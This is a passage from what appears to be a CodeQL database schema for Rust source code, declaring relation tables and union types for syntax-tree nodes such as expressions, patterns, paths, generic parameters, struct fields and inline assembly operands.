@paren_expr +| @path_expr_base +| @prefix_expr +| @range_expr +| @ref_expr +| @return_expr +| @struct_expr +| @try_expr +| @tuple_expr +| @underscore_expr +| @yeet_expr +| @yield_expr +; + +@extern_item = + @function +| @macro_call +| @static +| @type_alias +; + +extern_item_lists( + unique int id: @extern_item_list +); + +#keyset[id, index] +extern_item_list_attrs( + int id: @extern_item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +extern_item_list_extern_items( + int id: @extern_item_list ref, + int index: int ref, + int extern_item: @extern_item ref +); + +@field_list = + @struct_field_list +| @tuple_field_list +; + +format_args_args( + unique int id: @format_args_arg +); + +#keyset[id] +format_args_arg_exprs( + int id: @format_args_arg ref, + int expr: @expr ref +); + +#keyset[id] +format_args_arg_names( + int id: @format_args_arg ref, + int name: @name ref +); + +@generic_arg = + @assoc_type_arg +| @const_arg +| @lifetime_arg +| @type_arg +; + +generic_arg_lists( + unique int id: @generic_arg_list +); + +#keyset[id, index] +generic_arg_list_generic_args( + int id: @generic_arg_list ref, + int index: int ref, + int generic_arg: @generic_arg ref +); + +@generic_param = + @const_param +| @lifetime_param +| @type_param +; + +generic_param_lists( + unique int id: @generic_param_list +); + +#keyset[id, index] +generic_param_list_generic_params( + int id: @generic_param_list ref, + int index: int ref, + int generic_param: @generic_param ref +); + +item_lists( + unique int id: @item_list +); + +#keyset[id, index] +item_list_attrs( + int id: @item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +item_list_items( + int id: @item_list ref, + int index: int ref, + int item: @item ref +); + +labels( + unique int id: @label +); + +#keyset[id] +label_lifetimes( + int id: @label ref, + int lifetime: @lifetime ref +); + +let_elses( + unique int id: @let_else +); + +#keyset[id] +let_else_block_exprs( + int id: @let_else ref, + int block_expr: @block_expr ref +); + +macro_items( + unique int id: @macro_items +); + +#keyset[id, index] +macro_items_items( + int id: @macro_items ref, + int index: int ref, + int item: @item ref +); + +macro_stmts( + unique int id: @macro_stmts +); + +#keyset[id] +macro_stmts_exprs( + int id: @macro_stmts ref, + int expr: @expr ref +); + +#keyset[id, index] +macro_stmts_statements( + int id: @macro_stmts ref, + int index: int ref, + int statement: @stmt ref +); + +match_arms( + unique int id: @match_arm +); + +#keyset[id, index] +match_arm_attrs( + int id: @match_arm ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_arm_exprs( + int id: @match_arm ref, + int expr: @expr ref +); + +#keyset[id] +match_arm_guards( + int id: @match_arm ref, + int guard: @match_guard ref +); + +#keyset[id] +match_arm_pats( + int id: @match_arm ref, + int pat: @pat ref +); + +match_arm_lists( + unique int id: @match_arm_list +); + +#keyset[id, index] +match_arm_list_arms( + int id: @match_arm_list ref, + int index: int ref, + int arm: @match_arm ref +); + +#keyset[id, index] +match_arm_list_attrs( + int id: @match_arm_list ref, + int index: int ref, + int attr: @attr ref +); + +match_guards( + unique int id: @match_guard +); + +#keyset[id] +match_guard_conditions( + int id: @match_guard ref, + int condition: @expr ref +); + +meta( + unique int id: @meta +); + +#keyset[id] +meta_exprs( + int id: @meta ref, + int expr: @expr ref +); + +#keyset[id] +meta_is_unsafe( + int id: @meta ref +); + +#keyset[id] +meta_paths( + int id: @meta ref, + int path: @path ref +); + +#keyset[id] +meta_token_trees( + int id: @meta ref, + int token_tree: @token_tree ref +); + +names( + unique int id: @name +); + +#keyset[id] +name_texts( + int id: @name ref, + string text: string ref +); + +@param_base = + @param +| @self_param +; + +#keyset[id, index] +param_base_attrs( + int id: @param_base ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +param_base_type_reprs( + int id: @param_base ref, + int type_repr: @type_repr ref +); + +param_lists( + unique int id: @param_list +); + +#keyset[id, index] +param_list_params( + int id: @param_list ref, + int index: int ref, + int param: @param ref +); + +#keyset[id] +param_list_self_params( + int id: @param_list ref, + int self_param: @self_param ref +); + +parenthesized_arg_lists( + unique int id: @parenthesized_arg_list +); + +#keyset[id, index] +parenthesized_arg_list_type_args( + int id: @parenthesized_arg_list ref, + int index: int ref, + int type_arg: @type_arg ref +); + +@pat = + @box_pat +| @const_block_pat +| @ident_pat +| @literal_pat +| @macro_pat +| @or_pat +| @paren_pat +| @path_pat +| @range_pat +| @ref_pat +| @rest_pat +| @slice_pat +| @struct_pat +| @tuple_pat +| @tuple_struct_pat +| @wildcard_pat +; + +paths( + unique int id: @path +); + +#keyset[id] +path_qualifiers( + int id: @path ref, + int qualifier: @path ref +); + +#keyset[id] +path_segments_( + int id: @path ref, + int segment: @path_segment ref +); + +path_segments( + unique int id: @path_segment +); + +#keyset[id] +path_segment_generic_arg_lists( + int id: @path_segment ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +path_segment_identifiers( + int id: @path_segment ref, + int identifier: @name_ref ref +); + +#keyset[id] +path_segment_parenthesized_arg_lists( + int id: @path_segment ref, + int parenthesized_arg_list: @parenthesized_arg_list ref +); + +#keyset[id] +path_segment_ret_types( + int id: @path_segment ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +path_segment_return_type_syntaxes( + int id: @path_segment ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +path_segment_type_reprs( + int id: @path_segment ref, + int type_repr: @type_repr ref +); + +#keyset[id] +path_segment_trait_type_reprs( + int id: @path_segment ref, + int trait_type_repr: @path_type_repr ref +); + +renames( + unique int id: @rename +); + +#keyset[id] +rename_names( + int id: @rename ref, + int name: @name ref +); + +@resolvable = + @method_call_expr +| @path_ast_node +; + +#keyset[id] +resolvable_resolved_paths( + int id: @resolvable ref, + string resolved_path: string ref +); + +#keyset[id] +resolvable_resolved_crate_origins( + int id: @resolvable ref, + string resolved_crate_origin: string ref +); + +ret_type_reprs( + unique int id: @ret_type_repr +); + +#keyset[id] +ret_type_repr_type_reprs( + int id: @ret_type_repr ref, + int type_repr: @type_repr ref +); + +return_type_syntaxes( + unique int id: @return_type_syntax +); + +source_files( + unique int id: @source_file +); + +#keyset[id, index] +source_file_attrs( + int id: @source_file ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +source_file_items( + int id: @source_file ref, + int index: int ref, + int item: @item ref +); + +@stmt = + @expr_stmt +| @item +| @let_stmt +; + +stmt_lists( + unique int id: @stmt_list +); + +#keyset[id, index] +stmt_list_attrs( + int id: @stmt_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +stmt_list_statements( + int id: @stmt_list ref, + int index: int ref, + int statement: @stmt ref +); + +#keyset[id] +stmt_list_tail_exprs( + int id: @stmt_list ref, + int tail_expr: @expr ref +); + +struct_expr_fields( + unique int id: @struct_expr_field +); + +#keyset[id, index] +struct_expr_field_attrs( + int id: @struct_expr_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_expr_field_exprs( + int id: @struct_expr_field ref, + int expr: @expr ref +); + +#keyset[id] +struct_expr_field_identifiers( + int id: @struct_expr_field ref, + int identifier: @name_ref ref +); + +struct_expr_field_lists( + unique int id: @struct_expr_field_list +); + +#keyset[id, index] +struct_expr_field_list_attrs( + int id: @struct_expr_field_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +struct_expr_field_list_fields( + int id: @struct_expr_field_list ref, + int index: int ref, + int field: @struct_expr_field ref +); + +#keyset[id] +struct_expr_field_list_spreads( + int id: @struct_expr_field_list ref, + int spread: @expr ref +); + +struct_fields( + unique int id: @struct_field +); + +#keyset[id, index] +struct_field_attrs( + int id: @struct_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_defaults( + int id: @struct_field ref, + int default: @expr ref +); + +#keyset[id] +struct_field_is_unsafe( + int id: @struct_field ref +); + +#keyset[id] +struct_field_names( + int id: @struct_field ref, + int name: @name ref +); + +#keyset[id] +struct_field_type_reprs( + int id: @struct_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +struct_field_visibilities( + int id: @struct_field ref, + int visibility: @visibility ref +); + +struct_pat_fields( + unique int id: @struct_pat_field +); + +#keyset[id, index] +struct_pat_field_attrs( + int id: @struct_pat_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_pat_field_identifiers( + int id: @struct_pat_field ref, + int identifier: @name_ref ref +); + +#keyset[id] +struct_pat_field_pats( + int id: @struct_pat_field ref, + int pat: @pat ref +); + +struct_pat_field_lists( + unique int id: @struct_pat_field_list +); + +#keyset[id, index] +struct_pat_field_list_fields( + int id: @struct_pat_field_list ref, + int index: int ref, + int field: @struct_pat_field ref +); + +#keyset[id] +struct_pat_field_list_rest_pats( + int id: @struct_pat_field_list ref, + int rest_pat: @rest_pat ref +); + +@token = + @comment +; + +token_trees( + unique int id: @token_tree +); + +tuple_fields( + unique int id: @tuple_field +); + +#keyset[id, index] +tuple_field_attrs( + int id: @tuple_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +tuple_field_type_reprs( + int id: @tuple_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +tuple_field_visibilities( + int id: @tuple_field ref, + int visibility: @visibility ref +); + +type_bounds( + unique int id: @type_bound +); + +#keyset[id] +type_bound_is_async( + int id: @type_bound ref +); + +#keyset[id] +type_bound_is_const( + int id: @type_bound ref +); + +#keyset[id] +type_bound_lifetimes( + int id: @type_bound ref, + int lifetime: @lifetime ref +); + +#keyset[id] +type_bound_type_reprs( + int id: @type_bound ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_bound_use_bound_generic_args( + int id: @type_bound ref, + int use_bound_generic_args: @use_bound_generic_args ref +); + +type_bound_lists( + unique int id: @type_bound_list +); + +#keyset[id, index] +type_bound_list_bounds( + int id: @type_bound_list ref, + int index: int ref, + int bound: @type_bound ref +); + +@type_repr = + @array_type_repr +| @dyn_trait_type_repr +| @fn_ptr_type_repr +| @for_type_repr +| @impl_trait_type_repr +| @infer_type_repr +| @macro_type_repr +| @never_type_repr +| @paren_type_repr +| @path_type_repr +| @ptr_type_repr +| @ref_type_repr +| @slice_type_repr +| @tuple_type_repr +; + +@use_bound_generic_arg = + @lifetime +| @name_ref +; + +use_bound_generic_args( + unique int id: @use_bound_generic_args +); + +#keyset[id, index] +use_bound_generic_args_use_bound_generic_args( + int id: @use_bound_generic_args ref, + int index: int ref, + int use_bound_generic_arg: @use_bound_generic_arg ref +); + +use_trees( + unique int id: @use_tree +); + +#keyset[id] +use_tree_is_glob( + int id: @use_tree ref +); + +#keyset[id] +use_tree_paths( + int id: @use_tree ref, + int path: @path ref +); + +#keyset[id] +use_tree_renames( + int id: @use_tree ref, + int rename: @rename ref +); + +#keyset[id] +use_tree_use_tree_lists( + int id: @use_tree ref, + int use_tree_list: @use_tree_list ref +); + +use_tree_lists( + unique int id: @use_tree_list +); + +#keyset[id, index] +use_tree_list_use_trees( + int id: @use_tree_list ref, + int index: int ref, + int use_tree: @use_tree ref +); + +@variant_def = + @struct +| @union +| @variant +; + +variant_lists( + unique int id: @variant_list +); + +#keyset[id, index] +variant_list_variants( + int id: @variant_list ref, + int index: int ref, + int variant: @variant ref +); + +visibilities( + unique int id: @visibility +); + +#keyset[id] +visibility_paths( + int id: @visibility ref, + int path: @path ref +); + +where_clauses( + unique int id: @where_clause +); + +#keyset[id, index] +where_clause_predicates( + int id: @where_clause ref, + int index: int ref, + int predicate: @where_pred ref +); + +where_preds( + unique int id: @where_pred +); + +#keyset[id] +where_pred_generic_param_lists( + int id: @where_pred ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +where_pred_lifetimes( + int id: @where_pred ref, + int lifetime: @lifetime ref +); + +#keyset[id] +where_pred_type_reprs( + int id: @where_pred ref, + int type_repr: @type_repr ref +); + +#keyset[id] +where_pred_type_bound_lists( + int id: @where_pred ref, + int type_bound_list: @type_bound_list ref +); + +array_expr_internals( + unique int id: @array_expr_internal +); + +#keyset[id, index] +array_expr_internal_attrs( + int id: @array_expr_internal ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +array_expr_internal_exprs( + int id: @array_expr_internal ref, + int index: int ref, + int expr: @expr ref +); + +#keyset[id] +array_expr_internal_is_semicolon( + int id: @array_expr_internal ref +); + +array_type_reprs( + unique int id: @array_type_repr +); + +#keyset[id] +array_type_repr_const_args( + int id: @array_type_repr ref, + int const_arg: @const_arg ref +); + +#keyset[id] +array_type_repr_element_type_reprs( + int id: @array_type_repr ref, + int element_type_repr: @type_repr ref +); + +asm_clobber_abis( + unique int id: @asm_clobber_abi +); + +asm_consts( + unique int id: @asm_const +); + +#keyset[id] +asm_const_exprs( + int id: @asm_const ref, + int expr: @expr ref +); + +#keyset[id] +asm_const_is_const( + int id: @asm_const ref +); + +asm_exprs( + unique int id: @asm_expr +); + +#keyset[id, index] +asm_expr_asm_pieces( + int id: @asm_expr ref, + int index: int ref, + int asm_piece: @asm_piece ref +); + +#keyset[id, index] +asm_expr_attrs( + int id: @asm_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +asm_expr_templates( + int id: @asm_expr ref, + int index: int ref, + int template: @expr ref +); + +asm_labels( + unique int id: @asm_label +); + +#keyset[id] +asm_label_block_exprs( + int id: @asm_label ref, + int block_expr: @block_expr ref +); + +asm_operand_nameds( + unique int id: @asm_operand_named +); + +#keyset[id] +asm_operand_named_asm_operands( + int id: @asm_operand_named ref, + int asm_operand: @asm_operand ref +); + +#keyset[id] +asm_operand_named_names( + int id: @asm_operand_named ref, + int name: @name ref +); + +asm_options_lists( + unique int id: @asm_options_list +); + +#keyset[id, index] +asm_options_list_asm_options( + int id: @asm_options_list ref, + int index: int ref, + int asm_option: @asm_option ref +); + +asm_reg_operands( + unique int id: @asm_reg_operand +); + +#keyset[id] +asm_reg_operand_asm_dir_specs( + int id: @asm_reg_operand ref, + int asm_dir_spec: @asm_dir_spec ref +); + +#keyset[id] +asm_reg_operand_asm_operand_exprs( + int id: @asm_reg_operand ref, + int asm_operand_expr: @asm_operand_expr ref +); + +#keyset[id] +asm_reg_operand_asm_reg_specs( + int id: @asm_reg_operand ref, + int asm_reg_spec: @asm_reg_spec ref +); + +asm_syms( + unique int id: @asm_sym +); + +#keyset[id] +asm_sym_paths( + int id: @asm_sym ref, + int path: @path ref +); + +assoc_type_args( + unique int id: @assoc_type_arg +); + +#keyset[id] +assoc_type_arg_const_args( + int id: @assoc_type_arg ref, + int const_arg: @const_arg ref +); + +#keyset[id] +assoc_type_arg_generic_arg_lists( + int id: @assoc_type_arg ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +assoc_type_arg_identifiers( + int id: @assoc_type_arg ref, + int identifier: @name_ref ref +); + +#keyset[id] +assoc_type_arg_param_lists( + int id: @assoc_type_arg ref, + int param_list: @param_list ref +); + +#keyset[id] +assoc_type_arg_ret_types( + int id: @assoc_type_arg ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +assoc_type_arg_return_type_syntaxes( + int id: @assoc_type_arg ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +assoc_type_arg_type_reprs( + int id: @assoc_type_arg ref, + int type_repr: @type_repr ref +); + +#keyset[id] +assoc_type_arg_type_bound_lists( + int id: @assoc_type_arg ref, + int type_bound_list: @type_bound_list ref +); + +await_exprs( + unique int id: @await_expr +); + +#keyset[id, index] +await_expr_attrs( + int id: @await_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +await_expr_exprs( + int id: @await_expr ref, + int expr: @expr ref +); + +become_exprs( + unique int id: @become_expr +); + +#keyset[id, index] +become_expr_attrs( + int id: @become_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +become_expr_exprs( + int id: @become_expr ref, + int expr: @expr ref +); + +binary_exprs( + unique int id: @binary_expr +); + +#keyset[id, index] +binary_expr_attrs( + int id: @binary_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +binary_expr_lhs( + int id: @binary_expr ref, + int lhs: @expr ref +); + +#keyset[id] +binary_expr_operator_names( + int id: @binary_expr ref, + string operator_name: string ref +); + +#keyset[id] +binary_expr_rhs( + int id: @binary_expr ref, + int rhs: @expr ref +); + +box_pats( + unique int id: @box_pat +); + +#keyset[id] +box_pat_pats( + int id: @box_pat ref, + int pat: @pat ref +); + +break_exprs( + unique int id: @break_expr +); + +#keyset[id, index] +break_expr_attrs( + int id: @break_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +break_expr_exprs( + int id: @break_expr ref, + int expr: @expr ref +); + +#keyset[id] +break_expr_lifetimes( + int id: @break_expr ref, + int lifetime: @lifetime ref +); + +@call_expr_base = + @call_expr +| @method_call_expr +; + +#keyset[id] +call_expr_base_arg_lists( + int id: @call_expr_base ref, + int arg_list: @arg_list ref +); + +#keyset[id, index] +call_expr_base_attrs( + int id: @call_expr_base ref, + int index: int ref, + int attr: @attr ref +); + +cast_exprs( + unique int id: @cast_expr +); + +#keyset[id, index] +cast_expr_attrs( + int id: @cast_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +cast_expr_exprs( + int id: @cast_expr ref, + int expr: @expr ref +); + +#keyset[id] +cast_expr_type_reprs( + int id: @cast_expr ref, + int type_repr: @type_repr ref +); + +closure_exprs( + unique int id: @closure_expr +); + +#keyset[id] +closure_expr_bodies( + int id: @closure_expr ref, + int body: @expr ref +); + +#keyset[id] +closure_expr_closure_binders( + int id: @closure_expr ref, + int closure_binder: @closure_binder ref +); + +#keyset[id] +closure_expr_is_async( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_const( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_gen( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_move( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_static( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_ret_types( + int id: @closure_expr ref, + int ret_type: @ret_type_repr ref +); + +comments( + unique int id: @comment, + int parent: @ast_node ref, + string text: string ref +); + +const_args( + unique int id: @const_arg +); + +#keyset[id] +const_arg_exprs( + int id: @const_arg ref, + int expr: @expr ref +); + +const_block_pats( + unique int id: @const_block_pat +); + +#keyset[id] +const_block_pat_block_exprs( + int id: @const_block_pat ref, + int block_expr: @block_expr ref +); + +#keyset[id] +const_block_pat_is_const( + int id: @const_block_pat ref +); + +const_params( + unique int id: @const_param +); + +#keyset[id, index] +const_param_attrs( + int id: @const_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_param_default_vals( + int id: @const_param ref, + int default_val: @const_arg ref +); + +#keyset[id] +const_param_is_const( + int id: @const_param ref +); + +#keyset[id] +const_param_names( + int id: @const_param ref, + int name: @name ref +); + +#keyset[id] +const_param_type_reprs( + int id: @const_param ref, + int type_repr: @type_repr ref +); + +continue_exprs( + unique int id: @continue_expr +); + +#keyset[id, index] +continue_expr_attrs( + int id: @continue_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +continue_expr_lifetimes( + int id: @continue_expr ref, + int lifetime: @lifetime ref +); + +dyn_trait_type_reprs( + unique int id: @dyn_trait_type_repr +); + +#keyset[id] +dyn_trait_type_repr_type_bound_lists( + int id: @dyn_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +expr_stmts( + unique int id: @expr_stmt +); + +#keyset[id] +expr_stmt_exprs( + int id: @expr_stmt ref, + int expr: @expr ref +); + +field_exprs( + unique int id: @field_expr +); + +#keyset[id, index] +field_expr_attrs( + int id: @field_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +field_expr_containers( + int id: @field_expr ref, + int container: @expr ref +); + +#keyset[id] +field_expr_identifiers( + int id: @field_expr ref, + int identifier: @name_ref ref +); + +fn_ptr_type_reprs( + unique int id: @fn_ptr_type_repr +); + +#keyset[id] +fn_ptr_type_repr_abis( + int id: @fn_ptr_type_repr ref, + int abi: @abi ref +); + +#keyset[id] +fn_ptr_type_repr_is_async( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_const( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_unsafe( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_param_lists( + int id: @fn_ptr_type_repr ref, + int param_list: @param_list ref +); + +#keyset[id] +fn_ptr_type_repr_ret_types( + int id: @fn_ptr_type_repr ref, + int ret_type: @ret_type_repr ref +); + +for_type_reprs( + unique int id: @for_type_repr +); + +#keyset[id] +for_type_repr_generic_param_lists( + int id: @for_type_repr ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +for_type_repr_type_reprs( + int id: @for_type_repr ref, + int type_repr: @type_repr ref +); + +format_args_exprs( + unique int id: @format_args_expr +); + +#keyset[id, index] +format_args_expr_args( + int id: @format_args_expr ref, + int index: int ref, + int arg: @format_args_arg ref +); + +#keyset[id, index] +format_args_expr_attrs( + int id: @format_args_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +format_args_expr_templates( + int id: @format_args_expr ref, + int template: @expr ref +); + +ident_pats( + unique int id: @ident_pat +); + +#keyset[id, index] +ident_pat_attrs( + int id: @ident_pat ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ident_pat_is_mut( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_is_ref( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_names( + int id: @ident_pat ref, + int name: @name ref +); + +#keyset[id] +ident_pat_pats( + int id: @ident_pat ref, + int pat: @pat ref +); + +if_exprs( + unique int id: @if_expr +); + +#keyset[id, index] +if_expr_attrs( + int id: @if_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +if_expr_conditions( + int id: @if_expr ref, + int condition: @expr ref +); + +#keyset[id] +if_expr_elses( + int id: @if_expr ref, + int else: @expr ref +); + +#keyset[id] +if_expr_thens( + int id: @if_expr ref, + int then: @block_expr ref +); + +impl_trait_type_reprs( + unique int id: @impl_trait_type_repr +); + +#keyset[id] +impl_trait_type_repr_type_bound_lists( + int id: @impl_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +index_exprs( + unique int id: @index_expr +); + +#keyset[id, index] +index_expr_attrs( + int id: @index_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +index_expr_bases( + int id: @index_expr ref, + int base: @expr ref +); + +#keyset[id] +index_expr_indices( + int id: @index_expr ref, + int index: @expr ref +); + +infer_type_reprs( + unique int id: @infer_type_repr +); + +@item = + @const +| @enum +| @extern_block +| @extern_crate +| @function +| @impl +| @macro_call +| @macro_def +| @macro_rules +| @module +| @static +| @struct +| @trait +| @trait_alias +| @type_alias +| @union +| @use +; + +#keyset[id] +item_expandeds( + int id: @item ref, + int expanded: @ast_node ref +); + +@labelable_expr = + @block_expr +| @looping_expr +; + +#keyset[id] +labelable_expr_labels( + int id: @labelable_expr ref, + int label: @label ref +); + +let_exprs( + unique int id: @let_expr +); + +#keyset[id, index] +let_expr_attrs( + int id: @let_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_expr_scrutinees( + int id: @let_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +let_expr_pats( + int id: @let_expr ref, + int pat: @pat ref +); + +let_stmts( + unique int id: @let_stmt +); + +#keyset[id, index] +let_stmt_attrs( + int id: @let_stmt ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_stmt_initializers( + int id: @let_stmt ref, + int initializer: @expr ref +); + +#keyset[id] +let_stmt_let_elses( + int id: @let_stmt ref, + int let_else: @let_else ref +); + +#keyset[id] +let_stmt_pats( + int id: @let_stmt ref, + int pat: @pat ref +); + +#keyset[id] +let_stmt_type_reprs( + int id: @let_stmt ref, + int type_repr: @type_repr ref +); + +lifetimes( + unique int id: @lifetime +); + +#keyset[id] +lifetime_texts( + int id: @lifetime ref, + string text: string ref +); + +lifetime_args( + unique int id: @lifetime_arg +); + +#keyset[id] +lifetime_arg_lifetimes( + int id: @lifetime_arg ref, + int lifetime: @lifetime ref +); + +lifetime_params( + unique int id: @lifetime_param +); + +#keyset[id, index] +lifetime_param_attrs( + int id: @lifetime_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +lifetime_param_lifetimes( + int id: @lifetime_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +lifetime_param_type_bound_lists( + int id: @lifetime_param ref, + int type_bound_list: @type_bound_list ref +); + +literal_exprs( + unique int id: @literal_expr +); + +#keyset[id, index] +literal_expr_attrs( + int id: @literal_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +literal_expr_text_values( + int id: @literal_expr ref, + string text_value: string ref +); + +literal_pats( + unique int id: @literal_pat +); + +#keyset[id] +literal_pat_literals( + int id: @literal_pat ref, + int literal: @literal_expr ref +); + +macro_exprs( + unique int id: @macro_expr +); + +#keyset[id] +macro_expr_macro_calls( + int id: @macro_expr ref, + int macro_call: @macro_call ref +); + +macro_pats( + unique int id: @macro_pat +); + +#keyset[id] +macro_pat_macro_calls( + int id: @macro_pat ref, + int macro_call: @macro_call ref +); + +macro_type_reprs( + unique int id: @macro_type_repr +); + +#keyset[id] +macro_type_repr_macro_calls( + int id: @macro_type_repr ref, + int macro_call: @macro_call ref +); + +match_exprs( + unique int id: @match_expr +); + +#keyset[id, index] +match_expr_attrs( + int id: @match_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_expr_scrutinees( + int id: @match_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +match_expr_match_arm_lists( + int id: @match_expr ref, + int match_arm_list: @match_arm_list ref +); + +name_refs( + unique int id: @name_ref +); + +#keyset[id] +name_ref_texts( + int id: @name_ref ref, + string text: string ref +); + +never_type_reprs( + unique int id: @never_type_repr +); + +offset_of_exprs( + unique int id: @offset_of_expr +); + +#keyset[id, index] +offset_of_expr_attrs( + int id: @offset_of_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +offset_of_expr_fields( + int id: @offset_of_expr ref, + int index: int ref, + int field: @name_ref ref +); + +#keyset[id] +offset_of_expr_type_reprs( + int id: @offset_of_expr ref, + int type_repr: @type_repr ref +); + +or_pats( + unique int id: @or_pat +); + +#keyset[id, index] +or_pat_pats( + int id: @or_pat ref, + int index: int ref, + int pat: @pat ref +); + +params( + unique int id: @param +); + +#keyset[id] +param_pats( + int id: @param ref, + int pat: @pat ref +); + +paren_exprs( + unique int id: @paren_expr +); + +#keyset[id, index] +paren_expr_attrs( + int id: @paren_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +paren_expr_exprs( + int id: @paren_expr ref, + int expr: @expr ref +); + +paren_pats( + unique int id: @paren_pat +); + +#keyset[id] +paren_pat_pats( + int id: @paren_pat ref, + int pat: @pat ref +); + +paren_type_reprs( + unique int id: @paren_type_repr +); + +#keyset[id] +paren_type_repr_type_reprs( + int id: @paren_type_repr ref, + int type_repr: @type_repr ref +); + +@path_ast_node = + @path_expr +| @path_pat +| @struct_expr +| @struct_pat +| @tuple_struct_pat +; + +#keyset[id] +path_ast_node_paths( + int id: @path_ast_node ref, + int path: @path ref +); + +@path_expr_base = + @path_expr +; + +path_type_reprs( + unique int id: @path_type_repr +); + +#keyset[id] +path_type_repr_paths( + int id: @path_type_repr ref, + int path: @path ref +); + +prefix_exprs( + unique int id: @prefix_expr +); + +#keyset[id, index] +prefix_expr_attrs( + int id: @prefix_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +prefix_expr_exprs( + int id: @prefix_expr ref, + int expr: @expr ref +); + +#keyset[id] +prefix_expr_operator_names( + int id: @prefix_expr ref, + string operator_name: string ref +); + +ptr_type_reprs( + unique int id: @ptr_type_repr +); + +#keyset[id] +ptr_type_repr_is_const( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_is_mut( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_type_reprs( + int id: @ptr_type_repr ref, + int type_repr: @type_repr ref +); + +range_exprs( + unique int id: @range_expr +); + +#keyset[id, index] +range_expr_attrs( + int id: @range_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +range_expr_ends( + int id: @range_expr ref, + int end: @expr ref +); + +#keyset[id] +range_expr_operator_names( + int id: @range_expr ref, + string operator_name: string ref +); + +#keyset[id] +range_expr_starts( + int id: @range_expr ref, + int start: @expr ref +); + +range_pats( + unique int id: @range_pat +); + +#keyset[id] +range_pat_ends( + int id: @range_pat ref, + int end: @pat ref +); + +#keyset[id] +range_pat_operator_names( + int id: @range_pat ref, + string operator_name: string ref +); + +#keyset[id] +range_pat_starts( + int id: @range_pat ref, + int start: @pat ref +); + +ref_exprs( + unique int id: @ref_expr +); + +#keyset[id, index] +ref_expr_attrs( + int id: @ref_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ref_expr_exprs( + int id: @ref_expr ref, + int expr: @expr ref +); + +#keyset[id] +ref_expr_is_const( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_mut( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_raw( + int id: @ref_expr ref +); + +ref_pats( + unique int id: @ref_pat +); + +#keyset[id] +ref_pat_is_mut( + int id: @ref_pat ref +); + +#keyset[id] +ref_pat_pats( + int id: @ref_pat ref, + int pat: @pat ref +); + +ref_type_reprs( + unique int id: @ref_type_repr +); + +#keyset[id] +ref_type_repr_is_mut( + int id: @ref_type_repr ref +); + +#keyset[id] +ref_type_repr_lifetimes( + int id: @ref_type_repr ref, + int lifetime: @lifetime ref +); + +#keyset[id] +ref_type_repr_type_reprs( + int id: @ref_type_repr ref, + int type_repr: @type_repr ref +); + +rest_pats( + unique int id: @rest_pat +); + +#keyset[id, index] +rest_pat_attrs( + int id: @rest_pat ref, + int index: int ref, + int attr: @attr ref +); + +return_exprs( + unique int id: 